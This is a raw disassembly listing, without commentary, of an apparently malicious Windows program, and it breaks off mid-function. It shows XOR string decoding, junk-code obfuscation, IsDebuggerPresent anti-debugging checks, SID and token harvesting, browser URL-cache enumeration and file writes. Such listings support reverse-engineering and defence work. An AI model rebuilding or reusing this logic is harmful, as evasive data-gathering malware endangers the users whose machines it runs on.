sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_4047EE mov byte ptr [ebp-101h], 6Ch movzx eax, byte ptr [ebp-101h] mov edx, eax add edx, eax mov eax, edx mov [ebp-101h], al push 0Ah push offset aSsuUU ; "™™“Õ“Õ“Õ»¼" call sub_404491 mov [ebp-108h], eax call sub_40CC38 mov [ebp-10Ch], eax call sub_40CC38 mov [ebp-110h], eax call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-110h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx sub_40470D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40479E proc near ; DATA XREF: sub_43F725+502o add edi, 61h push edi mov edi, [ebp-10Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-108h] push edi lea edi, [ebp-0FFh] push edi call sub_40CC50 mov byte ptr [ebp-102h], 0ABh sub byte ptr [ebp-102h], 19h lea eax, [ebp-0FFh] push eax push ebx call sub_40CC74 add esp, 24h call sub_40C854 ; IsDebuggerPresent loc_4047EE: ; CODE XREF: sub_40470D+24j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404816 push 2 push offset asc_447400 ; "»¼" sub_40479E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404807 proc near ; DATA XREF: sub_43F725+52Do call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404816: ; CODE XREF: sub_40479E+60j pop edi pop esi pop ebx leave retn sub_404807 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40481B proc near ; CODE XREF: sub_4054C8+1A2p ; sub_4054C8+1D3p ... var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_141 = byte ptr -141h var_13B = byte ptr -13Bh var_136 = word ptr -136h var_134 = dword ptr -134h var_130 = dword ptr -130h var_129 = byte ptr -129h var_120 = byte ptr -120h var_108 = dword ptr -108h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 150h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_108], 53AAh inc [ebp+var_108] push [ebp+arg_4] push ebx call sub_40CC74 add esp, 8 lea edi, [ebp+var_120] lea esi, aKCivm ; "K Ci‚M " movsd movsd call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404A43 call sub_40C794 ; GetProcessHeap mov [ebp+var_FF], 0 mov [ebp+var_130], 55F4h inc [ebp+var_130] push 5 push offset aKciic ; "Š—››–" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h call sub_40C7D0 ; GetVersion mov [ebp+var_129], 0 jmp loc_4049F9 ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_40481B+1E6j call sub_40C740 ; GetCurrentThreadId call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404906 push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp+var_148], eax call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_148] push edi lea edi, [ebp+var_FF] push edi call sub_40CC50 add esp, 18h loc_404906: ; CODE XREF: sub_40481B+A7j lea edi, [ebp+var_13B] lea esi, aByqv ; "BYQV" mov ecx, 5 rep movsb call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_40496D push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp+var_14C], eax ; DATA XREF: sub_43F725+41Dr call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_14C] push edi lea edi, [ebp+var_FF] push edi call sub_40CC50 add esp, 18h loc_40496D: ; CODE XREF: sub_40481B+10Ej lea edi, [ebp+var_141] lea esi, a4lk ; "&*4LK" mov ecx, 3 rep movsw call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 7 jge short loc_4049D5 push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp+var_150], eax call sub_40CC38 mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp+var_FF] push edi mov edi, [ebp+var_150] push edi lea edi, [ebp+var_FF] push edi call sub_40CC50 add esp, 18h loc_4049D5: ; CODE XREF: sub_40481B+176j mov [ebp+var_136], 61C9h movzx eax, [ebp+var_136] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_136], ax ; DATA XREF: sub_43F725+2Ao add [ebp+var_129], 1 loc_4049F9: ; CODE XREF: sub_40481B+8Dj mov al, [ebp+var_129] cmp al, 0Ah jb loc_4048AD lea eax, [ebp+var_FF] push eax push ebx call sub_40CC74 call sub_40C734 ; GetCurrentProcessId push 4 push offset aIiic ; "››ˆ–" call sub_404491 push eax push ebx call sub_40CC74 add esp, 18h mov [ebp+var_134], 46D8h ; DATA XREF: sub_440126+12o sub [ebp+var_134], 3C21h loc_404A43: ; CODE XREF: sub_40481B+49j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404BD4 mov [ebp+var_130], 53ABh add [ebp+var_130], 4F65h mov [ebp+var_FF], 0 mov eax, dword_44225D mov [ebp+var_134], eax mov [ebp+var_129], 0 jmp loc_404BB6 sub_40481B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404B85 loc_404A8B: ; CODE XREF: sub_404B85+39j call sub_40C794 ; GetProcessHeap call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404AE4 push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp-144h], eax call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-144h] push edi lea edi, [ebp-0FFh] push edi call sub_40CC50 add esp, 18h loc_404AE4: ; CODE XREF: sub_404B85-E5j mov eax, dword_442261 mov [ebp-138h], eax call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404B43 push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp-148h], eax call sub_40CC38 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-148h] push edi lea edi, [ebp-0FFh] push edi call sub_40CC50 add esp, 18h loc_404B43: ; CODE XREF: sub_404B85-86j lea edi, [ebp-13Fh] lea esi, byte_442265 mov ecx, 7 rep movsb call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 3 jge short loc_404BAA push 4 push offset aUU ; "“Å“Õ" call sub_404491 mov [ebp-14Ch], eax call sub_40CC38 mov ecx, 9 cdq ; END OF FUNCTION CHUNK FOR sub_404B85 ; =============== S U B R O U T I N E ======================================= sub_404B85 proc near ; DATA XREF: .data:00440382o ; .data:004403A9o ... ; FUNCTION CHUNK AT 00404A8B SIZE 000000FA BYTES idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-14Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40CC50 add esp, 18h loc_404BAA: ; CODE XREF: sub_404B85-1Fj call sub_40C7C4 ; GetTickCount add byte ptr [ebp-129h], 1 loc_404BB6: ; CODE XREF: sub_40481B+26Bj mov al, [ebp-129h] cmp al, 32h jb loc_404A8B lea eax, [ebp-0FFh] push eax push ebx call sub_40CC74 add esp, 8 loc_404BD4: ; CODE XREF: sub_40481B+238j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404BFC push 4 push offset aKI ; "ŠÔĈ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404BFC: ; CODE XREF: sub_404B85+5Fj lea edi, [ebp-128h] lea esi, aRmU ; ": &rm`U" movsd movsd call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404C32 push 3 push offset aKI_3 ; "ŠÔˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404C32: ; CODE XREF: sub_404B85+95j mov dword ptr [ebp-104h], 384h mov eax, [ebp-104h] mov edx, eax add edx, eax mov [ebp-104h], edx call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404C74 push 3 push offset aKI_2 ; "ŠÃˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404C74: ; CODE XREF: sub_404B85+D7j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404C9C push 3 push offset aKI_1 ; "Šßˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404C9C: ; CODE XREF: sub_404B85+FFj call sub_40C7C4 ; GetTickCount call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404CC9 push 4 push offset aKsI ; "Š™ßˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404CC9: ; CODE XREF: sub_404B85+12Cj mov dword ptr [ebp-10Ch], 0F10h inc dword ptr [ebp-10Ch] call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404D01 push 4 push offset aKsI_0 ; "Š™Ôˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404D01: ; CODE XREF: sub_404B85+164j call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404D29 push 4 push offset aKsI_1 ; "Š™Ãˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404D29: ; CODE XREF: sub_404B85+18Cj call sub_40C7C4 ; GetTickCount sub_404B85 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D2E proc near ; DATA XREF: .data:0043FFA8o call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404D56 push 7 push offset aKsI_2 ; "Š™ÐÙØÂˆ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404D56: ; CODE XREF: sub_404D2E+10j mov dword ptr [ebp-110h], 7CCAh mov eax, 23D9h mul dword ptr [ebp-110h] mov [ebp-12Ch], eax mov [ebp-110h], eax call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404D9F push 8 push offset aKI_0 ; "ŠÕÓØÂÓĈ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404D9F: ; CODE XREF: sub_404D2E+59j mov dword ptr [ebp-114h], 2CE7h inc dword ptr [ebp-114h] call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404DD7 push 9 push offset aKsI_3 ; "Š™ÕÓØÂÓĈ" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404DD7: ; CODE XREF: sub_404D2E+91j mov dword ptr [ebp-118h], 35B7h mov eax, 4085h mul dword ptr [ebp-118h] mov [ebp-130h], eax mov [ebp-118h], eax call sub_40CC38 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E20 push 2 push offset asc_447400 ; "»¼" call sub_404491 push eax push ebx call sub_40CC74 add esp, 10h loc_404E20: ; CODE XREF: sub_404D2E+DAj call sub_40C734 ; GetCurrentProcessId pop edi pop esi pop ebx leave retn sub_404D2E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E2A proc near ; CODE XREF: sub_404EC6+5Cp ; sub_404EC6+91p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 12Bh push esi push [ebp+arg_0] mov eax, dword_44227C lea eax, ds:436250h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_8], 283h xor edi, edi jmp short loc_404E77 ; --------------------------------------------------------------------------- loc_404E60: ; CODE XREF: sub_404E2A+4Fj mov eax, dword_44227C add eax, edi lea eax, ds:436250h[eax] movsx edx, byte ptr [eax] xor edx, 7Bh mov [eax], dl inc edi loc_404E77: ; CODE XREF: sub_404E2A+34j cmp edi, esi jl short loc_404E60 mov [ebp+var_C], 10Ch mov eax, dword_44227C add eax, esi mov byte ptr ds:dword_436250[eax], 0 xor edi, edi mov edi, dword_44227C add dword_44227C, 3 mov eax, dword_44227C lea eax, [eax+esi+3] mov dword_44227C, eax cmp eax, 0DEDh jle short loc_404EBC and dword_44227C, 0 loc_404EBC: ; CODE XREF: sub_404E2A+89j lea eax, dword_436250[edi] pop edi pop esi leave retn sub_404E2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EC6 proc near ; CODE XREF: sub_40506F+99p var_30 = dword ptr -30h var_2A = byte ptr -2Ah var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = dword ptr -19h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_15], 0C0h sub [ebp+var_15], 75h mov eax, dword_442280 mov [ebp+var_19], eax xor ebx, ebx inc ebx push [ebp+arg_0] call sub_40CB9C ; GetSidIdentifierAuthority mov [ebp+var_14], eax call sub_40C740 ; GetCurrentThreadId push [ebp+arg_0] call sub_40CBB4 ; GetSidSubAuthorityCount movzx edi, byte ptr [eax] mov [ebp+var_10], edi call sub_40C7C4 ; GetTickCount mov eax, 0Ch mul [ebp+var_10] mov [ebp+var_20], eax add eax, 1Ch mov [ebp+var_C], eax loc_404F16: ; DATA XREF: .data:off_4472A3o call sub_40C7C4 ; GetTickCount push 6 push offset byte_4473B3 call sub_404E2A push ebx push eax push [ebp+arg_4] call sub_40CA7C ; wsprintfA add esp, 14h mov [ebp+var_C], eax add eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+var_14] cmp byte ptr [eax], 0 jnz short loc_404F4B cmp byte ptr [eax+1], 0 jz short loc_404FA9 loc_404F4B: ; CODE XREF: sub_404EC6+7Dj call sub_40C734 ; GetCurrentProcessId push 20h push offset word_447392 call sub_404E2A mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx esi, si push esi movzx esi, byte ptr [edi+4] movzx esi, si push esi movzx esi, byte ptr [edi+3] movzx esi, si push esi movzx esi, byte ptr [edi+2] movzx esi, si push esi movzx esi, byte ptr [edi+1] movzx esi, si push esi movzx edi, byte ptr [edi] movzx edi, di push edi push eax push [ebp+var_8] call sub_40CA7C ; wsprintfA add esp, 28h mov ebx, eax add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax jmp short loc_405017 ; --------------------------------------------------------------------------- loc_404FA9: ; CODE XREF: sub_404EC6+83j mov [ebp+var_24], 5F0h mov eax, 4B0Ah mul [ebp+var_24] mov [ebp+var_30], eax mov [ebp+var_24], eax push 3 push offset word_44738E call sub_404E2A mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx edx, byte ptr [edi+4] shl edx, 8 add esi, edx movzx edx, byte ptr [edi+3] shl edx, 10h add esi, edx movzx edi, byte ptr [edi+2] shl edi, 18h add esi, edi push esi push eax push [ebp+var_8] call sub_40CA7C ; wsprintfA add esp, 14h mov ebx, eax lea edi, [ebp+var_2A] lea esi, aO68_0 ; "o6,%8" mov ecx, 3 rep movsw add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax loc_405017: ; CODE XREF: sub_404EC6+E1j and [ebp+var_4], 0 jmp short loc_405062 ; --------------------------------------------------------------------------- loc_40501D: ; CODE XREF: sub_404EC6+1A2j call sub_40C764 ; RtlGetLastWin32Error push 4 push offset byte_447389 call sub_404E2A mov [ebp+var_24], eax push [ebp+var_4] push [ebp+arg_0] call sub_40CBA8 ; GetSidSubAuthority push dword ptr [eax] mov edi, [ebp+var_24] push edi push [ebp+var_8] call sub_40CA7C ; wsprintfA add esp, 14h mov ebx, eax call sub_40C734 ; GetCurrentProcessId add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax inc [ebp+var_4] loc_405062: ; CODE XREF: sub_404EC6+155j mov eax, [ebp+var_10] cmp [ebp+var_4], eax jb short loc_40501D pop edi pop esi pop ebx leave retn sub_404EC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40506F proc near ; CODE XREF: sub_405E88+239p var_19 = byte ptr -19h var_14 = byte ptr -14h var_10 = byte ptr -10h var_B = byte ptr -0Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_B] lea esi, word_44228A mov ecx, 3 rep movsb call sub_40C734 ; GetCurrentProcessId mov [ebp+var_8], eax lea edi, [ebp+var_10] lea esi, aGK ; "`G k" mov ecx, 5 rep movsb push [ebp+var_8] push 0 push 1F0FFFh call sub_40C89C ; OpenProcess mov ebx, eax call sub_40C7D0 ; GetVersion lea eax, [ebp+var_4] push eax push 0F00FFh push ebx call sub_40CB24 ; OpenProcessToken call sub_40C734 ; GetCurrentProcessId push ebx call sub_40C7AC ; CloseHandle mov eax, dword_442278 add eax, 3FF4h push eax push 40h call sub_40C878 ; LocalAlloc mov ebx, eax lea eax, [ebp+var_14] push eax mov eax, dword_442278 add eax, 3FF4h push eax push ebx push 1 push [ebp+var_4] call sub_40CB30 ; GetTokenInformation call sub_40C7D0 ; GetVersion push [ebp+arg_0] push dword ptr [ebx] call sub_404EC6 add esp, 8 push ebx call sub_40C884 ; LocalFree call sub_40C854 ; IsDebuggerPresent push [ebp+var_4] call sub_40C7AC ; CloseHandle lea edi, [ebp+var_19] lea esi, asc_442292 ; "> `h" mov ecx, 5 rep movsb pop edi pop esi pop ebx leave retn sub_40506F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405138 proc near ; CODE XREF: sub_40523D+52p ; sub_40523D+BDp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_4422A0 lea eax, ds:4197B0h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_405176 ; --------------------------------------------------------------------------- loc_40515F: ; CODE XREF: sub_405138+40j mov eax, dword_4422A0 add eax, edi lea eax, ds:4197B0h[eax] movsx edx, byte ptr [eax] xor edx, 3Ch mov [eax], dl inc edi loc_405176: ; CODE XREF: sub_405138+25j cmp edi, esi jl short loc_40515F mov [ebp+var_4], 365h mov eax, dword_4422A0 add eax, esi mov byte ptr ds:dword_4197B0[eax], 0 xor edi, edi mov edi, dword_4422A0 mov eax, edi add eax, 2 add eax, esi mov dword_4422A0, eax cmp eax, 0DDFh jle short loc_4051B2 and dword_4422A0, 0 loc_4051B2: ; CODE XREF: sub_405138+71j mov [ebp+var_8], 0E8h lea eax, dword_4197B0[edi] pop edi pop esi leave retn sub_405138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051C3 proc near ; CODE XREF: sub_4061F7+526p ; sub_4061F7+543p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push edi call sub_40C740 ; GetCurrentThreadId push 0 push 80h push 4 push 0 push 0 push 0C0000000h push [ebp+arg_0] call sub_40C8CC ; CreateFileA mov edi, eax call sub_40C7D0 ; GetVersion cmp edi, 0FFFFFFFFh jnz short loc_4051F8 xor eax, eax jmp short loc_405239 ; --------------------------------------------------------------------------- loc_4051F8: ; CODE XREF: sub_4051C3+2Fj mov esi, 3356h sub esi, 0F1Dh push 2 push 0 push 0 push edi call sub_40C8D8 ; SetFilePointer call sub_40C7D0 ; GetVersion push 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push edi call sub_40C944 ; WriteFile call sub_40C740 ; GetCurrentThreadId push edi call sub_40C7AC ; CloseHandle call sub_40C740 ; GetCurrentThreadId xor eax, eax inc eax loc_405239: ; CODE XREF: sub_4051C3+33j pop edi pop esi leave retn sub_4051C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40523D proc near ; CODE XREF: sub_4061F7+46Fp var_2F5B = byte ptr -2F5Bh var_2F58 = dword ptr -2F58h var_2F53 = byte ptr -2F53h var_2F52 = byte ptr -2F52h var_2F4A = word ptr -2F4Ah var_2F48 = byte ptr -2F48h var_2F47 = byte ptr -2F47h var_2F46 = word ptr -2F46h var_2F43 = byte ptr -2F43h var_1F44 = dword ptr -1F44h var_1F40 = byte ptr -1F40h var_1F3C = dword ptr -1F3Ch var_1F38 = dword ptr -1F38h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2F5Ch call sub_40C6B8 push ebx push esi loc_40524C: ; DATA XREF: sub_440531r push edi mov [ebp+var_2F46], 7B0Ch ; DATA XREF: sub_44053Dr ; sub_440549r inc [ebp+var_2F46] ; DATA XREF: sub_440555r sub_440561r lea edi, [ebp+var_2F52] ; DATA XREF: sub_44056Dr lea esi, aDpVB ; DATA XREF: sub_440579r sub_440585r ; ">Dp+‚'B" movsd movsd push [ebp+arg_0] ; DATA XREF: sub_440591r lea eax, [ebp+var_2F43] ; DATA XREF: sub_44059Dr loc_405274: ; DATA XREF: sub_4405A9r push eax call sub_40C6D8 ; DATA XREF: sub_4405B5r mov [ebp+var_2F47], 33h ; DATA XREF: sub_4405C1r ; sub_4405CDr add [ebp+var_2F47], 1 ; DATA XREF: sub_4405D9r push 1 push offset byte_447387 call sub_405138 ; DATA XREF: sub_4405E5r mov edi, 12h sub edi, dword_44229C ; DATA XREF: sub_4405F1r push edi push eax lea edi, [ebp+var_2F43] push edi loc_4052A8: ; DATA XREF: sub_4406ADr sub_4406B9r call sub_40181A add esp, 14h loc_4052B0: ; DATA XREF: sub_4406C5r mov edi, eax mov [ebp+var_2F4A], di ; DATA XREF: sub_4406D1r ; sub_4406DDr movzx eax, [ebp+var_2F4A] ; DATA XREF: sub_4406E9r loc_4052C0: ; DATA XREF: sub_4406F5r sub_440701r cmp eax, 0FFFFh jz short loc_4052D6 movzx eax, [ebp+var_2F4A] ; DATA XREF: sub_44070Dr ; sub_440719r mov [ebp+eax+var_2F43], 0 ; DATA XREF: sub_440725r ; sub_440731r loc_4052D6: ; CODE XREF: sub_40523D+88j ; DATA XREF: sub_44073Dr ... mov [ebp+var_2F48], 22h add [ebp+var_2F48], 90h ; DATA XREF: sub_440755r loc_4052E4: ; DATA XREF: sub_440761r sub_44076Dr ... mov [ebp+var_1F44], 1F40h call sub_40C764 ; DATA XREF: sub_440785r push 3 ; DATA XREF: sub_440791r push offset byte_447383 ; DATA XREF: sub_44079Dr call sub_405138 add esp, 8 lea edi, [ebp+var_1F44] ; DATA XREF: sub_4407A9r loc_405308: ; DATA XREF: sub_4407B5r push edi lea edi, [ebp+var_1F40] ; DATA XREF: sub_4407C1r push edi loc_405310: ; DATA XREF: sub_4407CDr push eax call sub_40BC38 ; DATA XREF: sub_4407D9r mov ebx, eax loc_405318: ; DATA XREF: sub_4407E5r or eax, eax jz loc_4053F9 ; DATA XREF: sub_4407F1r loc_405320: ; DATA XREF: sub_4407FDr sub_440809r lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40CBE4 ; DATA XREF: sub_440815r add esp, 8 ; DATA XREF: sub_440821r or eax, eax jnz short loc_40536B ; DATA XREF: sub_44082Dr mov [ebp+var_2F53], 0CEh ; DATA XREF: sub_440839r loc_405340: ; DATA XREF: sub_440845r sub_440851r sub [ebp+var_2F53], 68h push [ebp+var_1F38] ; DATA XREF: sub_44085Dr sub_440869r push [ebp+arg_4] loc_405350: ; DATA XREF: sub_440875r sub_440881r call sub_40C6D8 lea edi, [ebp+var_2F5B] ; DATA XREF: sub_44088Dr lea esi, aB_mxkw ; "B_mxkw&" movsd movsd xor eax, eax ; DATA XREF: sub_440899r inc eax jmp loc_4053F9 ; DATA XREF: sub_4408A5r ; --------------------------------------------------------------------------- loc_40536B: ; CODE XREF: sub_40523D+FAj ; sub_40523D:loc_4053F2j ; DATA XREF: ... mov [ebp+var_2F53], 1Dh movzx eax, [ebp+var_2F53] ; DATA XREF: sub_4408C9r ; sub_4408D5r imul eax, 42B9h ; DATA XREF: sub_4408E1r mov [ebp+var_2F53], al ; DATA XREF: sub_4408EDr ; sub_4408F9r mov [ebp+var_1F44], 1F40h ; DATA XREF: sub_440905r ; sub_440911r lea eax, [ebp+var_1F44] ; DATA XREF: sub_44091Dr ; sub_440929r push eax lea eax, [ebp+var_1F40] ; DATA XREF: sub_440935r push eax push ebx call sub_40BC44 ; FindNextUrlCacheEntryA or eax, eax jz short loc_4053F7 call sub_40C854 ; IsDebuggerPresent lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40CBE4 add esp, 8 or eax, eax jnz short loc_4053F2 mov [ebp+var_2F58], 6518h mov eax, [ebp+var_2F58] mov edx, eax add edx, eax mov [ebp+var_2F58], edx push [ebp+var_1F38] push [ebp+arg_4] call sub_40C6D8 xor eax, eax inc eax jmp short loc_4053F9 ; --------------------------------------------------------------------------- loc_4053F2: ; CODE XREF: sub_40523D+186j jmp loc_40536B ; --------------------------------------------------------------------------- loc_4053F7: ; CODE XREF: sub_40523D+168j xor eax, eax loc_4053F9: ; CODE XREF: sub_40523D+DDj ; sub_40523D+129j ... pop edi pop esi pop ebx leave retn sub_40523D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053FE proc near ; CODE XREF: sub_4054C8+602p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C854 ; IsDebuggerPresent push ebx call sub_40C95C ; lstrlenA mov [ebp+var_8], eax call sub_40C7C4 ; GetTickCount mov edi, [ebp+var_8] shl edi, 1 add edi, 8 push edi push 40h call sub_40C878 ; LocalAlloc mov [ebp+var_C], eax call sub_40C794 ; GetProcessHeap xor esi, esi jmp short loc_40544F ; --------------------------------------------------------------------------- loc_405439: ; CODE XREF: sub_4053FE+54j movzx eax, byte ptr [ebx+esi] xor eax, 71h or eax, eax jz short loc_40544E movzx eax, byte ptr [ebx+esi] xor eax, 71h mov [ebx+esi], al loc_40544E: ; CODE XREF: sub_4053FE+44j inc esi loc_40544F: ; CODE XREF: sub_4053FE+39j cmp esi, [ebp+var_8] jb short loc_405439 mov [ebp+var_2], 0 jmp short loc_4054B2 ; --------------------------------------------------------------------------- loc_40545C: ; CODE XREF: sub_4053FE+BBj push 6 push offset dword_44737C call sub_405138 mov [ebp+var_10], eax movzx edi, [ebp+var_2] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_14], edx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_C] push edi mov esi, [ebp+var_10] push esi push edi call sub_40CC50 add esp, 1Ch inc [ebp+var_2] loc_4054B2: ; CODE XREF: sub_4053FE+5Cj movzx eax, [ebp+var_2] cmp eax, [ebp+var_8] jb short loc_40545C call sub_40C7C4 ; GetTickCount mov eax, [ebp+var_C] pop edi pop esi pop ebx leave retn sub_4053FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054C8 proc near ; CODE XREF: sub_4061F7+199p var_300A1 = byte ptr -300A1h var_300A0 = dword ptr -300A0h var_3009C = dword ptr -3009Ch var_30096 = word ptr -30096h var_30094 = dword ptr -30094h var_3008D = byte ptr -3008Dh var_3008C = dword ptr -3008Ch var_30088 = dword ptr -30088h var_30084 = dword ptr -30084h var_30080 = dword ptr -30080h var_3007C = dword ptr -3007Ch var_30078 = dword ptr -30078h var_30071 = byte ptr -30071h var_3006E = word ptr -3006Eh var_3006C = byte ptr -3006Ch var_30067 = byte ptr -30067h var_30064 = byte ptr -30064h var_3005F = dword ptr -3005Fh var_3005B = byte ptr -3005Bh var_30058 = dword ptr -30058h var_30054 = byte ptr -30054h var_30051 = byte ptr -30051h var_3004A = word ptr -3004Ah var_30048 = dword ptr -30048h var_30044 = word ptr -30044h var_30041 = byte ptr -30041h var_30040 = byte ptr -30040h var_3003F = byte ptr -3003Fh var_30035 = byte ptr -30035h var_30034 = dword ptr -30034h var_30030 = dword ptr -30030h var_3002C = byte ptr -3002Ch var_3002B = byte ptr -3002Bh var_30021 = byte ptr -30021h var_30020 = dword ptr -30020h var_3001C = dword ptr -3001Ch var_30018 = word ptr -30018h var_30016 = word ptr -30016h var_30014 = dword ptr -30014h var_30010 = dword ptr -30010h var_3000C = byte ptr -3000Ch var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20003 = byte ptr -20003h var_10004 = dword ptr -10004h var_10000 = byte ptr -10000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 